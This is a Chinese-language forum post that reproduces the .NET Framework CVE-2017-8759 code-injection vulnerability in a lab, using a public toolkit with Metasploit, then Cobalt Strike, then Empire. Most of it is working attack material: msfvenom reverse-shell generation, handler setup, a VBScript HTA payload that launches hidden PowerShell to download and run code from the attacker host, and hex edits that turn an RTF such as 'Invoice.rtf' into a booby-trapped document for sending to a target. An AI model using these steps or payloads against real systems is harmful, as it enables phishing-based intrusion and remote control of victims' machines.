標題:微軟.NET Framework cve-2017-8759 復現

taibeihacker

Moderator

0x00 漏洞前言​

FireEye公司最近發現一份惡意微軟Office RTF文檔,其中利用到一項SOAP WSDL解析器代碼注入漏洞——編號CVE-2017-8759。該漏洞允許惡意人士在解析SOAP WSDL的定義內容期間注入任意代碼。 FireEye公司對該微軟Office文檔進行了分析,並發現攻擊者能夠利用代碼注入方式下載並執行一份包含PowerShell指令的Visual Basic腳本。

0x01 漏洞复现​

方法一:通过cve-2017-8759_toolk反弹msf​

測試環境:
目標靶機:win7x64 office2010(只能在office2010以上執行才能成功) ip:10.0.0.89
攻擊機:kali2016 ip:10.0.0.86
在kali上執行:
1.下載cve-2017-8759_toolkt利用poc
root@backlion:/opt# git clone https://github.com/bhdresh/CVE-2017-8759.git
yhiglodwgz324157.png

2.進入到cve-2017-8759目錄中
root@backlion:/opt# cd CVE-2017-8759/
root@backlion:/opt/CVE-2017-8759# ls
lrzfwsubvaz24158.png

3.執行生成惡意的rtf文檔
root@backlion:/opt/CVE-2017-8759# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://10.0.0.86/logo.txt
muanxwpaymu24159.png

4.執行生成惡意的後門文件shell.exe,本地監聽4444端口
root@backlion:/opt/CVE-2017-8759# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.0.0.86 LPORT=4444 -f exe /tmp/shell.exe
bn5hpr5d4um24161.png

5.開啟web服務並監聽來自訪問
root@backlion:/opt/CVE-2017-8759# python cve-2017-8759_toolkit.py -M exp -e http://10.0.0.86/shell.exe -l /tmp/shell.exe
45vmvl4c0ji24162.png

6.接著開啟msf,並設置本地監聽地址和監聽端口以及payload
msf use exploit/multi/handler
msf exploit(handler) set payload windows/x64/meterpreter_reverse_tcp
msf exploit(handler) set lhost 10.0.0.86
msf exploit(handler) set lport 4444
msf exploit(handler) exploit
sessions -i 1
vuc4egdcocl24164.png

最後將Invoice.rtf文檔拷貝或者發送等方式到目標靶機上並執行,就可以成功反彈出shell:
rxppqpj1oz524166.png

方法二:利用cobaltstrike复现​

測試環境:
目標靶機:win7x64 office2016(只能在office2010以上執行才能成功) ip:10.0.0.201
攻擊機:kali2016 ip:10.0.0.86
1.啟動cobaltstrike服務端:
root@backlion:/opt# cd cobaltstrike/
root@backlion:/opt/cobaltstrike# ./teamserver 10.0.0.86 backlion
5af0wuvadkp24167.png

wdosxd5srgs24168.png

2.啟動cobaltstrike客戶端:
root@backlion:/opt/cobaltstrike# java -jar cobaltstrike.jar
0vk3c0pdpqg24169.png

2zh5f3zeod124170.png

3.設置一個Listener(CobalStrike=Listener=add),添加一個HTTPS的監聽器,端口為443
vmoovfhsqsp24171.png

4.下載CVE-2017-8759,並將cmd.hta重名為cmd.jpg然後修改裡面的內容,主要修改裡面的IP地址,然後修改後的cmd.jpg拷貝到kali主機上的/opt目錄下。我這裡已經修改好了,可到我的github下載。其下載地址:https://raw.githubusercontent.com/backlion/demo/master/CVE-2017-8759-master.zip
主要poc:
html
head
script language='VBScript'
Sub window_onload
window.resizeTo 0,0
window.MoveTo -100,-100
const impersonation=3
Const HIDDEN_WINDOW=12
Set Locator=CreateObject('WScript.Shell')
Locator.Run'powershell.exe -nop -w hidden -c ''IEX (new-object net.webclient).downloadstring('http://10.0.0.86/bk.exe')''',0,FALSE
window.close()
end sub
/script
!--
script language='VBScript'
Sub window_onload
const impersonation=3
Const HIDDEN_WINDOW=12
Set Locator=CreateObject('WbemScripting.SWbemLocator')
Set Service=Locator.ConnectServer()
Service.Security_.ImpersonationLevel=impersonation
Set objStartup=Service.Get('Win32_ProcessStartup')
Set objConfig=objStartup.SpawnInstance_
Set Process=Service.Get('Win32_Process')
Error=Process.Create('powershell.exe -nop -w hidden calc.exe', null, objConfig, intProcessID)
window.close()
end sub
/script
--
/head
rdinjzugwoi24172.png

5.另外也需要修改exploit.txt裡面的IP地址,修改後也要上傳到kali的/opt目錄下。
zuyqfotuc3a24174.png

6.設置Web Drive功能並添加cmd.jpg
Attacks=Web Drive-by=HOST file
2lgo5sx0qgf24176.png

7.設置Attacks=Web Drive-by=HOST file
et4mu5cxxez24177.png

8.生成木馬Attacks=Web Drive-by=Script Web Delivery
tpgybvbyih224179.png

9.點擊Attacks=Web Drive-by=mange,查看當前設置:
0hknv1mpegl24182.png

10.製作trf文檔,打開office,本人裝的是win7,所以是office2016,插入對象為:http://10.0.0.86/exploit.txt,並保存成為test.rtf
pmvylwmk3rn24183.png

11.在test.rtf中用記事本打開並查找找到
{\object\objautlink\rsltpict\objw4321\objh4321這一部分,替換修改為:{\object\objupdate\objautlink\rsltpict\objw4321\objh4321。其目的是讓word自動更新加載poc.
csa1ldh5ygl24185.png

12.用C32Asm靜態反編譯工具以16進制打開並編輯修改blob.bin
fwfcb4dpkhk24187.png

然後修改為:http://10.0.0.86/exploit.txt,利用小葵工具將其轉化為16進制,去掉0x,最終為:
68007400740070003A002F002F00310030002E0030002E0030002E00380036002F006500780070006C006F00690074002E00740078007400
3ximka13h4c24188.png

通過查找替換16進制進行修改:
拷貝--hex格式出:
680074007400700073003A002F002F0078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078000000000000000000
替換為:
68007400740070003A002F002F00310030002E0030002E0030002E00380036002F006500780070006C006F00690074002E00740078007400000000000000000000000000000000000000000000000000
5x5ipy2w4zg24189.png

然後保存,並在kali查看是否生成正確的地址
cxkejl2typl24190.png

13.將生成好的blob.bin以16進制打開,然後全選--拷貝--hex拷貝
粘貼處所有的十六進制替換掉test.rtf裡面的從:
}{\*\objdata開始到}{\result之間的所有數據,並保存文件
jj1ibom4u1v24191.png

14.將替換好的test.rtf文件傳輸或者發送到目標靶機windows7主機上,並打開執行。
1jpvveuk4kd24192.png

15.即可在cs中反彈出shell出來:
dpav1g4jwpu24193.png

方法三:通过empire复现漏洞​

測試環境:
目標靶機:win7x64 office2016(只能在office2010 以上執行才能成功)
ip:10.0.0.201
攻擊機:kali2016 ip:10.0.0.86
1.採用最新版本emprie2.1進行測試,這里分別設置了監聽地址名為http,生成hta惡意代碼。
(Empire) listeners
(Empire: listeners) uselistener http
(Empire: listeners/http) execute
dm3l0jf2ev324195.png

(Empire: listeners/http) back
(Empire: listeners) help
gnb5yfkw1lf24196.png

(Empire: listeners) usestager windows/hta
yr0vyg1lhmr24198.png

(Empire: stager/windows/hta) set Listener http
(Empire: stager/windows/hta) execute
nbqpiq43cnh24199.png

2.將生成的hta代碼保存為cmd.jpg文件。
vn5r152gjnd24202.png

3.修改exploit.txt裡面的地址,這裡改成我的攻擊機kali的ip地址。
ri1cys0dkah24203.png

3.將修改好的cmd.jpg和exploit文件放在同一目錄www文件中,然後執行python的web啟動服務命令,這裡監聽端口為8000
ubftvlyuxpy24205.png

3.生成釣魚rtf文檔,這裡在新建的word文件中插入一個對象為:http://10.0.0.86:8000/exploit.txt,然後保存為test.rtf文件
nokrarx4uuf24207.png

40baoh4aask24208.png

4. 在test.rtf 中用記事本打開並查找找到
{\object\objautlink\rsltpict\objw4321\objh4321 這一部分,替換修改為:
{\object\objupdate\objautlink\rsltpict\objw4321\objh4321
yinrvewet1324209.png

5. 用C32Asm 靜態反編譯工具以16 進制打開並編輯修改blob.bin
d1o0xg20ezy24210.png

然後修改為:http://10.0.0.86:8000/exploit.txt,利用小葵工具將其轉化為16 進制,
去掉0x,最終為:
68007400740070003A002F002F00310030002E0030002E0030002E00380036003A0038003000300030002F006500780070006C006F00690074002E00740078007400
通過查找替換16 進制進行修改:
拷貝--hex 格式出:
680074007400700073003A002F002F007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800000000000000000000000000000000000000000000000000
替換為:
68007400740070003A002F002F00310030002E0030002E0030002E00380036003A0038003000300030002F006500780070006C006F00690074002E00740078007400000000000000000000000000000000000000000000000000000000000000
k1qedcg4yvk24211.png

然後保存,並在kali 查看是否生成正確的地址
zqxktnx3ae024212.png

6.將生成好的blob.bin 以16 進制打開,然後全選--拷貝--hex 拷貝
粘貼處所有的十六進制替換掉test.rtf 裡面的從:
}{\*\objdata 開始到}{\result 之間的所有數據,並保存文件
tycv3hvevtv24213.png

7.將替換好的test.rtf 文件傳輸或者發送到目標靶機windows7 主機上,並打
開執行。
rdv5vazcady24214.png

8.即可在empire中可以獲取反彈shell:
(Empire: stager/windows/hta) interact 4X3CYAKB
(Empire: 4X3CYAKB) shell ipconfig
bxlsnx5felh24215.png

0x02 漏洞影响​

.NET系列產品的遠程代碼執行(RCE)並進一步控制系統
以下.NET版本
Microsoft .NET Framework 4.6.2
Microsoft .NET Framework 4.6.1
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4.7
Microsoft .NET Framework 4.6
Microsoft .NET Framework 4.5.2
Microsoft .NET Framework 3.5
Microsoft .NET Framework 2.0 SP2
 
返回
上方